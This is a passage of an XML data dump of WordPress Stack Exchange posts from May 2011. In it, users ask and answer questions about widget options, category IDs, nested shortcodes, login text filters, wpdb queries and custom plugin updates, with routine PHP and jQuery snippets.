&lt;code&gt;POST_TYPE_NAME&lt;/code&gt;  to your post type name ,you can just call it whenever you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo Get_First_permalink(); ?&amp;gt;&quot;&amp;gt;First Post&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-29T17:21:52.690" />
  <row Id="18649" PostTypeId="1" AcceptedAnswerId="18660" CreationDate="2011-05-29T17:28:39.090" Score="1" ViewCount="191" Body="&lt;p&gt;I'm a little confused about this, even though I have read all of the API and searched for hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I activate my plugin I add some values to the options database, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_option('code','24');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I update that value or use it in the widget? I only see &quot;instances&quot; now, like the example on this page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wpcoderz.com/creating-a-multi-instance-widget-with-wordpress-2-8/&quot; rel=&quot;nofollow&quot;&gt;http://wpcoderz.com/creating-a-multi-instance-widget-with-wordpress-2-8/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really understand what instances are, the WP documentation doesn't provide much explanation about it.&lt;/p&gt;&#xA;" OwnerUserId="5247" LastActivityDate="2011-05-29T20:23:15.287" Title="How to save WP widget instances and options" Tags="&lt;plugin-development&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="18651" PostTypeId="2" ParentId="16875" CreationDate="2011-05-29T18:33:11.433" Score="0" ViewCount="" Body="&lt;p&gt;I solved this by getting all pages, assigning them by level, and then getting the next page of the same level. If you also want the previous page then you should probably cache the functionality that groups the pages by level.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse16875_next_page_same_level_link()&#xA;{&#xA;    $next_page_same_level = wpse16875_next_page_same_level();&#xA;    if ( $next_page_same_level ) {&#xA;        return '&amp;lt;a href=&quot;' . get_permalink( $next_page_same_level ) . '&quot;&amp;gt;' . get_the_title( $next_page_same_level ) . '&amp;lt;/a&amp;gt;';&#xA;    }&#xA;    return '';&#xA;}&#xA;&#xA;function wpse16875_next_page_same_level()&#xA;{&#xA;    $current_page = $GLOBALS['post'];&#xA;    $current_page_level = null;&#xA;&#xA;    $all_pages = get_pages();&#xA;    $pages_by_id = array();&#xA;    $page_ids_by_parent_id = array();&#xA;    $page_ids_by_level = array();&#xA;    foreach ( $all_pages as $page ) {&#xA;        $pages_by_id[$page-&amp;gt;ID] = $page;&#xA;        if ( ! array_key_exists( $page-&amp;gt;post_parent, $page_ids_by_parent_id ) ) {&#xA;            $page_ids_by_parent_id[$page-&amp;gt;post_parent] = array();&#xA;        }&#xA;        $page_ids_by_parent_id[$page-&amp;gt;post_parent][] = $page-&amp;gt;ID;&#xA;    }&#xA;    foreach ( $all_pages as $page ) {&#xA;        $ancestor_page_id = $page-&amp;gt;post_parent;&#xA;        $level = 0;&#xA;        while ( 0 != $ancestor_page_id ) {&#xA;            $ancestor_page_id = $pages_by_id[$ancestor_page_id]-&amp;gt;post_parent;&#xA;            $level++;&#xA;        }&#xA;        if ( $page-&amp;gt;ID == $current_page-&amp;gt;ID ) {&#xA;            $current_page_level = $level;&#xA;        }&#xA;        if ( ! array_key_exists( $level, $page_ids_by_level ) ) {&#xA;            $page_ids_by_level[$level] = array();&#xA;        }&#xA;        $page_ids_by_level[$level][] = $page-&amp;gt;ID;&#xA;    }&#xA;&#xA;    $current_level_page_ids = $page_ids_by_level[$current_page_level];&#xA;&#xA;    $current_page_pos_by_level = array_search( $current_page-&amp;gt;ID, $current_level_page_ids );&#xA;    if ( array_key_exists( $current_page_pos_by_level + 1, $current_level_page_ids ) ) {&#xA;        return $pages_by_id[$current_level_page_ids[$current_page_pos_by_level + 1]];&#xA;    }&#xA;    return null;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-29T18:33:11.433" />
  <row Id="18652" PostTypeId="1" CreationDate="2011-05-29T18:41:37.063" Score="3" ViewCount="317" Body="&lt;p&gt;how do I get the cat ID inside the Template. Very important:&#xA;I can not do it by the name, because we have muliple cats with the same name. Only the slug is different. If I'd get the slug, it would be okay, too.&#xA;But like I said: I can not use the Cat title.....&lt;/p&gt;&#xA;" OwnerUserId="5798" LastActivityDate="2011-07-12T17:26:34.700" Title="Get Category ID inside Category template" Tags="&lt;categories&gt;" AnswerCount="5" FavoriteCount="1" />
  <row Id="18653" PostTypeId="1" CreationDate="2011-05-29T16:35:33.677" Score="2" ViewCount="166" Body="&lt;p&gt;I've been looking for a specific WordPress theme for days now and still can't find anything. I appreciate that this isn't really the place to ask but I'm really out of options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cellprivate.com/&quot; rel=&quot;nofollow&quot;&gt;http://cellprivate.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a theme like this, which scrolls down the page when you use the header links, and also has a lot of Web 2.0 aspects like a custom web font and text shadows.&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-31T07:05:45.663" LastActivityDate="2011-05-31T15:08:19.290" Title="Web 2.0 theme with content on a single page and scrolling links?" Tags="&lt;theme-recommendation&gt;" AnswerCount="3" CommentCount="0" />
  <row Id="18654" PostTypeId="2" ParentId="18528" CreationDate="2011-05-29T19:07:11.317" Score="1" ViewCount="" Body="&lt;p&gt;This is a very simple script that will split up the text of the box in different lines and fill them in in the title, excerpt and two custom fields.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery( function( $ ) {&#xA;    $( '#wpse18528_paste_box' ).keyup( function() {&#xA;        var text = $( '#wpse18528_paste_box' ).val();&#xA;        var lines = text.split( /[\n\r]+/ );&#xA;        $( '#title' ).val( lines[0] );&#xA;        $( '#title' ).siblings( '#title-prompt-text' ).css( 'visibility', 'hidden' );&#xA;        $( '#excerpt' ).val( lines[2] );&#xA;        $( '#wpse18528_source' ).val( lines[1] );&#xA;        $( '#wpse18528_link' ).val( lines[3] );&#xA;    } );&#xA;} );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The current regex is &lt;em&gt;one or more&lt;/em&gt; linebreaks - I don't know if you want this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, instead of triggering this on each &lt;code&gt;keyup&lt;/code&gt; (which works nicely with pasting and editing small errors in the &quot;lazy box&quot;), you can also add a &quot;Split&quot; button and use the &lt;code&gt;click&lt;/code&gt; event of it.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-29T19:07:11.317" CommentCount="1" />
  <row Id="18655" PostTypeId="2" ParentId="18653" CreationDate="2011-05-29T19:13:06.280" Score="1" ViewCount="" Body="&lt;p&gt;Joomlart makes this theme. Its a joomla theme though. It does not look like they will be making a WordPress version &lt;a href=&quot;http://www.joomlart.com/joomla/templates/ja-cloris&quot; rel=&quot;nofollow&quot;&gt;http://www.joomlart.com/joomla/templates/ja-cloris&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-29T19:13:06.280" CommentCount="1" />
  <row Id="18656" PostTypeId="2" ParentId="17709" CreationDate="2011-05-29T19:16:57.687" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;em&gt;&quot;Log In&quot;&lt;/em&gt; string is passed to the translation function, and you can filter that. To prevent needing to filter every little string, you can activate this filter right before the login form is printed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'login_form', 'wpse17709_login_form' );&#xA;function wpse17709_login_form()&#xA;{&#xA;    add_filter( 'gettext', 'wpse17709_gettext', 10, 2 );&#xA;}&#xA;&#xA;function wpse17709_gettext( $translation, $text )&#xA;{&#xA;    if ( 'Log In' == $text ) {&#xA;        return 'WPSE 17709 Logging In!';&#xA;    }&#xA;    return $translation;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-29T19:16:57.687" />
  <row Id="18657" PostTypeId="2" ParentId="17639" CreationDate="2011-05-29T19:46:08.117" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/jw-player-plugin-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;JW Player Plugin for WordPress&lt;/a&gt; does not register its shortcode like all other shortcodes, so &lt;code&gt;strip_shortcodes()&lt;/code&gt; will not know about it and not strip it. In &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/jw-player-plugin-for-wordpress/tags/1.4.2/media/JWShortcode.php&quot; rel=&quot;nofollow&quot;&gt;the code&lt;/a&gt; there is a note that this is because it uses argument names with a &lt;code&gt;.&lt;/code&gt; in it, and WordPress does not support this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are probably multiple ways to solve this, but I would copy the relevant line from &lt;code&gt;strip_shortcodes()&lt;/code&gt; and integrate the regex from the plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_excerpt( $length, $more_text ) {&#xA;    global $post;&#xA;    $text = get_the_content();&#xA;    $text = strip_shortcodes( $text );&#xA;    // Strip JW Player shortcode too&#xA;    $text = preg_replace( '/(.?)\[(jwplayer)\b(.*?)(?:(\/))?\](?:(.+?)\[\/\2\])?(.?)/s', '$1$6', $text );&#xA;    $text = apply_filters('the_content', $text);&#xA;    // Continue with the rest of your function ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-29T19:46:08.117" CommentCount="4" />
  <row Id="18658" PostTypeId="2" ParentId="18652" CreationDate="2011-05-29T19:51:19.397" Score="2" ViewCount="" Body="&lt;p&gt;You could use &lt;code&gt;get_the_category()&lt;/code&gt; to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$category = get_the_category(); &#xA;&#xA;// use this to echo the slug&#xA;echo $category[0]-&amp;gt;slug;&#xA;&#xA;// use this to echo the cat id&#xA;echo $category[0]-&amp;gt;cat_ID;&#xA;&#xA;// if you've got multiple categories you can run a foreach loop like so&#xA;foreach ( $category as $cat ) :&#xA;&#xA;    echo '&amp;lt;li&amp;gt;' . $cat-&amp;gt;name . '&amp;lt;/li&amp;gt;';&#xA;&#xA;endforeach;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    echo '&amp;lt;pre&amp;gt;';&#xA;    print_r($category);&#xA;    echo '&amp;lt;/pre&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to view the array of objects that are returned.&lt;/p&gt;&#xA;" OwnerUserId="5018" LastEditorUserId="5018" LastEditorDisplayName="" LastEditDate="2011-05-29T19:59:31.880" LastActivityDate="2011-05-29T19:59:31.880" CommentCount="3" />
  <row Id="18659" PostTypeId="1" AcceptedAnswerId="18661" CreationDate="2011-05-29T19:54:30.623" Score="1" ViewCount="111" Body="&lt;p&gt;Shortcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[permalink][title][/permalink]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;foobar&quot;&amp;gt;[title]&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wordpress shortcode API sais, it's correct:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Shortcode_API#Nested_Shortcodes&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Shortcode_API#Nested_Shortcodes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Ideas?&lt;/p&gt;&#xA;" OwnerUserId="5774" LastActivityDate="2011-05-29T20:04:31.227" Title="nested Shortcode doesn't work" Tags="&lt;shortcode&gt;" AnswerCount="1" />
  <row Id="18660" PostTypeId="2" ParentId="18649" CreationDate="2011-05-29T19:57:28.027" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Instance&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'instance' is really ment as in &quot;object oriented programming instance':  You have a certain class (which is a certain widget you coded as a class) and the moment you use it on a site, you create a specific instance of it; you create an object you can manipulate. BUT you can have one instance that has e.g. value &quot;hello&quot; as header and another one that has &quot;hello world&quot; as header (same class different instances)(so 2 widgets of the same class but with different properties).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Values in these widgets&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have values that are specific to an &lt;em&gt;instance&lt;/em&gt; you would specificy them in the widget class code, so you can e.g. show them in a form to the end user to manipulate. Dont worry about saving to the database, the widget class in the background takes care of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have values that are the same for all instances of that widget you maybe could grab that from an option you set but they will never show up to the user in a form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(as you know with add_option you add yourself a new option to the table wp_options.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with widgets there is an intermediate layer (the widget factory) that saves the widget options for you in this wp_options table, so you do not have to manually add these options and updates on these options, to see this open wp_options and walk through the content of this table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you nevertheless want to have access to your own option value you should add the regular option code inside the widget code (since then this setting can be changed inside the widget screen instead of e.g. your own plugin screen).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is a value you would like to use directly maybe it is easier to not use your own option value but just use the one in the widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use it to manipulate another value maybe you can better add a filter instead and then hook into this filter to manipulate the value used in the widget (as opposed to reading the option value directly)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So first you construct a widget e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /**&#xA;     * Constructor&#xA;     */&#xA;    function __construct()&#xA;{&#xA;    $widget_ops = array('classname' =&amp;gt; 'widget_icons_latest', 'description'&#xA;        =&amp;gt; __('Shows your latest â™¥ WP-Favicons which corresponds (after some time caching) '.&#xA;        'with the latest outgoing links you published on your website. You can style '.&#xA;        'the icons by using the stylesheet in the text widget settings under the â™¥ WP-favicons '.&#xA;        'Context settings.'));&#xA;    $control_ops = array('width' =&amp;gt; 200, 'height' =&amp;gt; 350);&#xA;    parent::__construct('WPFaviconsLatest', __('â™¥ Show Latest WP-Favicons'), $widget_ops, $control_ops);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in the widget method you can set initial values e.g. look at $title and you see that it first looks if THIS instance of the widget ( meaning the specific widget of this type that was dragged to the widget bar) already set a title, if not then it assigns a default value. IF you want to use your default value from some option you saved in the database you can replace the fixed value with one that you read from the option table, but why should you? You also see the value &quot;25&quot; below which is pretty hard coded, maybe that would be a good value to fetch from a database options table that you set yourself in a plugin admin screen (so replace 25 with get option)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /**&#xA;     * (non-PHPdoc)&#xA;     * @see WP_Widget::widget()&#xA;     */&#xA;    function widget($args, $instance) {&#xA;        extract( $args );&#xA;        echo $before_widget;&#xA;        $title = apply_filters( 'widget_title', empty($instance['title']) ? '' : $instance['title'], $instance, $this-&amp;gt;id_base);&#xA;        $amount = empty($instance['amount']) ? 25 : $instance['amount'];&#xA;        $instance['text'] = $this-&amp;gt;specificOutput($amount, false);&#xA;        $text = apply_filters( 'widget_text', $instance['text'], $instance );&#xA;        if ( !empty( $title ) ) { echo $before_title . $title . $after_title; } ?&amp;gt;&#xA;        &amp;lt;div class=&quot;widget_icons_latest&quot;&amp;gt;&amp;lt;?php echo $text; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;widget_icons_latest&quot;&amp;gt;by &amp;lt;a href=&quot;http://wordpress.org/extend/plugins/wp-favicons/&quot;&amp;gt;WP-Favicons&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php&#xA;        echo $after_widget;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The update method just updates the values if they have changed.&#xA;The form method displays the form in the admin screen of the widget.&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-05-29T20:23:15.287" LastActivityDate="2011-05-29T20:23:15.287" />
  <row Id="18661" PostTypeId="2" ParentId="18659" CreationDate="2011-05-29T20:04:31.227" Score="3" ViewCount="" Body="&lt;p&gt;From the page you linked:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The shortcode parser correctly deals&#xA;  with nested shortcode macros, provided&#xA;  their handler functions support it by&#xA;  recursively calling do_shortcode():&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You need to recursively call &lt;code&gt;do_shortcode()&lt;/code&gt; on any shortcode handler that could contain nested shortcodes. So for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse18659_permalink( $atts, $content ){&#xA;    return '&amp;lt;a href=&quot;' . get_permalink() . '&quot; title=&quot;Permalink to ' . get_the_title() . '&quot; alt=&quot;&quot;&amp;gt;' . do_shortcode( $content ) . '&amp;lt;/a&amp;gt;';&#xA;}&#xA;&#xA;add_shortcode( 'permalink', 'wpse18659_permalink' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should handle nested shortcodes just fine.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-05-29T20:04:31.227" CommentCount="1" />
  <row Id="18662" PostTypeId="2" ParentId="18652" CreationDate="2011-05-29T20:06:39.713" Score="4" ViewCount="" Body="&lt;p&gt;&lt;code&gt;$wp_query-&amp;gt;get_queried_object()&lt;/code&gt; will give you the &quot;currently queried object&quot;. On a category archive this is the category object, on a author page this is the author, on a single post this is the post itself, ... well, you get the the idea. If you only want the ID you can also use &lt;code&gt;$wp_query-&amp;gt;get_queried_object_id()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-29T20:06:39.713" />
  <row Id="18663" PostTypeId="1" CreationDate="2011-05-29T20:24:54.350" Score="0" ViewCount="39" Body="&lt;p&gt;Hey guys,&#xA;I'm using a calendar plugin that provides a sidebar widget to show current calendar dates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this widget always shows N/A if I don't set a category for a specific event. Any idea how I could add a filter to that widget and match N/A and remove it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you for your help&lt;/p&gt;&#xA;" OwnerUserId="3529" LastActivityDate="2011-05-29T20:30:10.087" Title="Filter Text from sidebar widget?" Tags="&lt;widgets&gt;&lt;sidebar&gt;&lt;add-filter&gt;" AnswerCount="1" />
  <row Id="18664" PostTypeId="2" ParentId="18663" CreationDate="2011-05-29T20:30:10.087" Score="2" ViewCount="" Body="&lt;p&gt;In the method &quot;widget&quot; look for the line that sets the category then add either:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat = empty($instance['cat']) ? 'N/A' : $instance['cat'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(where you replace N/A with something you like) or... better... add a filter instead like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat = apply_filters( 'widget_my_cat', empty($instance['cat']) ? 'N/A' : $instance['cat'], $instance, $this-&amp;gt;id_base);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then hook into 'widget_my_cat' to set it to something else if the value is 'N/A'&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2011-05-29T20:30:10.087" />
  <row Id="18665" PostTypeId="1" AcceptedAnswerId="18666" CreationDate="2011-05-29T20:41:35.823" Score="2" ViewCount="127" Body="&lt;p&gt;I'm developing a wordpress plugin at the moment which I do not want in the Wordpress plugin repository. However I still want to be able to push updates to my costumers from my own API repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been reading quite a bit about this, and one thing that seems to be something about is the &lt;code&gt;pre_set_site_transient_update_plugins&lt;/code&gt; filter, however I can't find much info about this. I've tried this tutorial (&lt;a href=&quot;http://konstruktors.com/blog/wordpress/2538-automatic-updates-for-plugins-and-themes-hosted-outside-wordpress-extend/&quot; rel=&quot;nofollow&quot;&gt;http://konstruktors.com/blog/wordpress/2538-automatic-updates-for-plugins-and-themes-hosted-outside-wordpress-extend/&lt;/a&gt;) which I couldn't get working. I can tell from the comments that others can actually get this working with what must be almost the current version of WP (latest response Apr 22).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried installing the plugin from the site and putting the API folder on a second domain, but the update notification I usually get when an update is available, didn't show anywhere at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if it is actually possible to have custom plugins run the auto-update from other repositories so I would like to hear if anyone in here has any experience at all with this stuff? The solution in the tutorial seemed to be an easy solution - I wonder if it's somehow possible to do it in a more advanced way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help getting this auto-update from my own repository working would be much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(PS: I'm running WP version 3.1.3)&lt;/p&gt;&#xA;" OwnerUserId="5633" LastActivityDate="2011-06-09T16:43:43.023" Title="Update plugin from personal API" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;update&gt;&lt;auto-update&gt;&lt;repository&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="18666" PostTypeId="2" ParentId="18665" CreationDate="2011-05-29T20:54:23.170" Score="1" ViewCount="" Body="&lt;p&gt;Yes, this is possible.  There's an entire chapter in &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0470916222&quot; rel=&quot;nofollow&quot;&gt;Professional WordPress Plugin Development&lt;/a&gt; dedicated to this.  If you haven't already, pick up a copy.  It will definitely help.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-05-29T20:54:23.170" CommentCount="3" />
  <row Id="18667" PostTypeId="2" ParentId="17930" CreationDate="2011-05-29T21:08:35.780" Score="0" ViewCount="" Body="&lt;p&gt;Now I am successfully using &lt;a href=&quot;http://www.techotronic.de/plugins/all-in-one-favicon/&quot; rel=&quot;nofollow&quot;&gt;All In One Favincon&lt;/a&gt; Plugin.&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2011-05-29T21:08:35.780" />
  <row Id="18668" PostTypeId="1" CreationDate="2011-05-29T22:16:20.697" Score="2" ViewCount="165" Body="&lt;p&gt;Whenever I write a post on my blog and link to a previous post, that pingback shows up as a comment needing to be approved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running &lt;a href=&quot;http://disqus.com&quot; rel=&quot;nofollow&quot;&gt;Disqus&lt;/a&gt;, but this was happening even pre-use of that plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/x9UdB.png&quot; alt=&quot;comment settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the fix for this behavior?&lt;/p&gt;&#xA;" OwnerUserId="5173" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-30T20:04:59.423" LastActivityDate="2011-05-31T16:34:48.533" Title="How to auto-approve internal pingbacks?" Tags="&lt;comments&gt;&lt;links&gt;&lt;moderation&gt;&lt;disqus&gt;&lt;pingbacks&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="18669" PostTypeId="1" AcceptedAnswerId="18676" CreationDate="2011-05-29T22:50:43.623" Score="0" ViewCount="84" Body="&lt;p&gt;WordPress usually has &quot;Leave a Comment, &quot;1 Comment,&quot; or &quot;% Comments&quot; on the blog page, and I want people to be able to hover over that and have jQuery show the latest comment in a rectangular box below it (pushing down all subsequent content). Obviously they'd click through to read more comments or respond, but I can't figure out where to start and go from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, if you look at the site Destructoid, they show the latest comment after each post. I want to show something similar, but only after the &quot;# comments&quot; is hovered over. Only then would the box with the latest comment show up and push the rest of the content down. It would disappear if the mouse is moved off of the link or box itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figure get_comments can be used to call it, but comments_popup_link doesn't take arguments for alt text or jQuery boxes, I don't think. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2256" LastActivityDate="2011-05-30T02:58:04.690" Title="How to show last comment on hover?" Tags="&lt;comments&gt;&lt;jquery&gt;" AnswerCount="1" />
  <row Id="18670" PostTypeId="2" ParentId="18652" CreationDate="2011-05-29T22:51:48.303" Score="3" ViewCount="" Body="&lt;p&gt;Unless I am misunderstanding the question, I think you can also add the category id/slug to the body class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(is_category()) { $cat_ID = 'cat-'.get_query_var('cat'); } ?&amp;gt;&#xA;&amp;lt;body &amp;lt;?php body_class($cat_ID); ?&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-05-29T22:51:48.303" />
  <row Id="18671" PostTypeId="1" AcceptedAnswerId="18673" CreationDate="2011-05-30T00:26:37.587" Score="0" ViewCount="125" Body="&lt;p&gt;I want to get all the data with the meta key of &quot;project_id&quot; from post meta table. I wrote a query, it should work in thoery, but I have no way to see what I get, and inject this query to my plugin doesn't generate anything. Please take a look at this query, and help me understand if it is correct, what's the formate of the outcome, How can I echo it to see what I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mp_all_ids( ){&#xA;global $bp, $wpdb, $post;&#xA;&#xA;$query = &amp;lt;&amp;lt;&amp;lt;QUERY&#xA;SELECT      project_id.post_id&#xA;FROM        $wpdb-&amp;gt;postmeta project_id&#xA;LEFT JOIN  $wpdb-&amp;gt;postmeta height &#xA;            on height.post_id = project_id.post_id&#xA;            and height.meta_key = 'height'&#xA;LEFT JOIN  $wpdb-&amp;gt;postmeta width &#xA;            on width.post_id = project_id.post_id&#xA;            and width.meta_key = 'width' &#xA;WHERE       project_id.meta_key = 'project_id'&#xA;ORDER BY    project_id.meta_value+(0) ASC&#xA;QUERY;&#xA;$data = $wpdb-&amp;gt;get_results( $query );&#xA;&#xA;return apply_filters( 'mp_ids', $data );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;the var_dump gets the following result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(3) {&#xA;  [0]=&amp;gt;&#xA;  object(stdClass)#457 (1) {&#xA;    [&quot;post_id&quot;]=&amp;gt;&#xA;    string(3) &quot;385&quot;&#xA;  }&#xA;  [1]=&amp;gt;&#xA;  object(stdClass)#458 (1) {&#xA;    [&quot;post_id&quot;]=&amp;gt;&#xA;    string(3) &quot;451&quot;&#xA;  }&#xA;  [2]=&amp;gt;&#xA;  object(stdClass)#377 (1) {&#xA;    [&quot;post_id&quot;]=&amp;gt;&#xA;    string(3) &quot;453&quot;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I access the 3 strings in each object?&lt;/p&gt;&#xA;" OwnerUserId="5210" LastEditorUserId="5210" LastEditorDisplayName="" LastEditDate="2011-05-30T01:07:13.607" LastActivityDate="2011-05-30T01:07:13.607" Title="How to test the outcome of a wpdb query?" Tags="&lt;post-meta&gt;&lt;wpdb&gt;" AnswerCount="2" />
  <row Id="18672" PostTypeId="2" ParentId="18671" CreationDate="2011-05-30T00:29:36.663" Score="1" ViewCount="" Body="&lt;p&gt;To test if the query is working you could output the $query string that you have created and manually running that query on the wordpress database via PhpMyAdmin or a similar interface. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is any errors in the query or the query returns no results than you will be able to tweak it to get your desired effect before putting it in your code. &lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2011-05-30T00:29:36.663" CommentCount="1" />
